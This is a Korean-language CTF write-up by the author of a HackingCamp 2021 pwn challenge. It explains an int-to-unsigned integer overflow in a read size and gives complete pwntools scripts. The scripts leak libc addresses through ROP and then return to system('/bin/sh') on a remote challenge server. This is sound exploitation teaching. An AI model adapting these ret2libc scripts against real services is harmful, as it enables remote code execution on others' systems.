CTF/Write UPs

[HackingCamp CTF 2021 : pwn] vuln 풀이 (출제자 풀이)

jir4vvit 2021. 2. 25. 16:29
문제 풀이 환경 : ubuntu 16.04

내가 낸 문제이다. 감사하게도 많은 분들이 풀어주셨다. (풀어주신 분들 감사합니다.)


주어진 파일은 문제 바이너리 파일 하나 뿐이다.

 

libc를 일부러 주지 않았다. 예전에 문제를 풀다가 libc파일이 있어야 하는데 없어서 엄청 당황했던 적이 있었다. libc가 없어도 libc database우분투 버전이 주어지면 libc파일이 없어도 풀 수 있다는 것을 알려주고 싶었다. (도커 파일이 주어져도 됨)

 

 

Analysis

 

main

size를 입력받는다.

vuln 함수는 누가봐도 취약점이 터지게 생겼다.

 

vuln

사실 이 문제는 integer overflow가 터지는 문제를 풀고 감명받아서 만들었다. (무슨 문제인지는 비밀이다.)

그 감명받았던 문제도 똑같이 인자 타입이 int로 넘어와서 실제로 사용할 때는 unsigned로 사용한다.

 

ㄷㄷㄷ

 

How to exploit

prepare : find gadget, find libc version 

  1. first main : leak -> get libc_base
  2. first main : return to main
  3. second main : return to system 

중간에 integer overflow를 트리거해야 한다.

 

find gadget

64bit 환경에서 ROP를 진행하기 위해 필요한 가젯들을 찾아줘야 한다.

leak 하기 위해 함수 주소를 출력할 puts함수와 exploit에 system 함수를 사용할 것인데 둘 다 인자가 하나만 필요하니, pop rdi 가젯만 찾아주면 될 것 같다.

ROPgadget을 이용하여 찾았다.

 

find libc version 

문제가 불친절해서 libc 파일이 주어져 있지 않다.

read와 puts의 실제 주소를 leak해서 libc 버전을 찾아야 한다.

# libc.py
from pwn import *

#context.log_level = 'debug'
#p = process("./chall")
p = remote("13.125.168.158", 6105)

elf = ELF("./chall")

puts_plt = elf.plt['puts']
read_got = elf.got['read']
puts_got = elf.got['puts']


pop_rdi = 0x400963
main = 0x4008aa

# first main
p.sendlineafter('Size: ', '0')

payload = ""
payload += "A"*0x48
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main)    # return to main

p.sendlineafter('Data: ', payload)

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.info('read address : ' + hex(read_addr))

# second main
p.sendlineafter('Size: ', '0')

payload = ''
payload += 'A' * 0x48
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)    # return to main

p.sendlineafter('Data: ', payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.info('puts address : ' + hex(puts_addr))


p.interactive()

출력 결과

하위 3바이트만 입력해주면 libc 버전을 뚝딱뚝딱 찾아준다.

(libc base의 하위 3바이트가 000이기 때문에 하위 3바이트만 입력해도 된다.)

 

libc.blukat.me/?q=read%3A310%2Cputs%3A6a0

 

나는 저 libc 파일을 다운받아서 이용했다. 

 

integer overflow trigger

vuln

size가 buf 크기나 음수면 입력을 막으려고 했다.

하지만 integer overflow가 발생하여 0을 입력하면 int에서 unsigned int로 강제 형변환하기 때문에 read(0, &buf, 0xffffffff)가 된다.

그래서 size에 0을 입력하여 입력을 보다 더 많이 넣을 수 있다.

 

 

Let's exploit

첫 번째 main에서 실제 주소를 leak 하여 libc base를 구하고, return to main.

두 번째 main에서 인자를 '/bin/sh'로 주어 return to system  

from pwn import *

#context.log_level = 'debug'
#p = process("./chall")
p = remote("13.125.168.158", 6105)

elf = ELF("./chall")
libc = ELF('./libc6_2.23-0ubuntu11.2_amd64.so')

puts_plt = elf.plt['puts']
read_got = elf.got['read']

read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()

pop_rdi = 0x400963
main = 0x4008aa

binsh = "/bin/sh\z00"

# first main
p.sendlineafter('Size: ', '0')

payload = ""
payload += "A"*0x48
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main)    # return to main

p.sendlineafter('Data: ', payload)

# leak
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = read_addr - read_offset
log.info('read_addr : ' + hex(read_addr))
log.info('libc_base : ' + hex(libc_base))

system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset 


# second main
p.sendlineafter('Size: ', '0')

payload =""
payload += "A"*0x48
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendlineafter('Data: ', payload)

p.interactive()

 

감사합니다.